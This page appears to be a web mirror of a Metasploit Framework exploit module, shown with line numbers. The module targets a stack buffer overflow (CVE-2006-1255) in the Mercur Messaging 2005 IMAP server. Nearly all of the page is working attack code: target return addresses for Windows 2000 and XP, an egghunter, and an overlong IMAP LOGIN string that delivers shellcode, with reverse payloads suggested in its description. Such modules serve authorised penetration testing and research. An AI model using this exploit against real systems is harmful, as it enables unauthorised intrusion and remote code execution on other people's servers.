Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/mercur_login.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Egghunter
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Mercur Messaging 2005 IMAP Login Buffer Overflow',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in Atrium Mercur IMAP 5.0 SP3.
19
Since the room for shellcode is small, using the reverse ordinal payloads
20
yields the best results.
21
},
22
'Author' => [ 'MC' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2006-1255' ],
26
[ 'OSVDB', '23950' ],
27
[ 'BID', '17138' ],
28
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1104.html' ],
29
],
30
'Privileged' => true,
31
'DefaultOptions' => {
32
'EXITFUNC' => 'thread',
33
},
34
'Payload' => {
35
'Space' => 228,
36
'BadChars' => "\x00\x20\x2c\x3a\x40",
37
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
38
},
39
'Platform' => 'win',
40
'Targets' => [
41
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
42
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x77dc15c0 } ],
43
],
44
'DisclosureDate' => '2006-03-17',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
register_options([ Opt::RPORT(143) ])
55
end
56
57
def exploit
58
connect
59
sock.get_once
60
61
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
62
egg = hunter[1]
63
64
sploit = "A001 LOGIN " + egg + hunter[0]
65
sploit << [target.ret].pack('V') + [0xe9, -175].pack('CV')
66
67
print_status("Trying target #{target.name}...")
68
sock.put(sploit + "\r\n")
69
70
handler
71
disconnect
72
end
73
end
74
75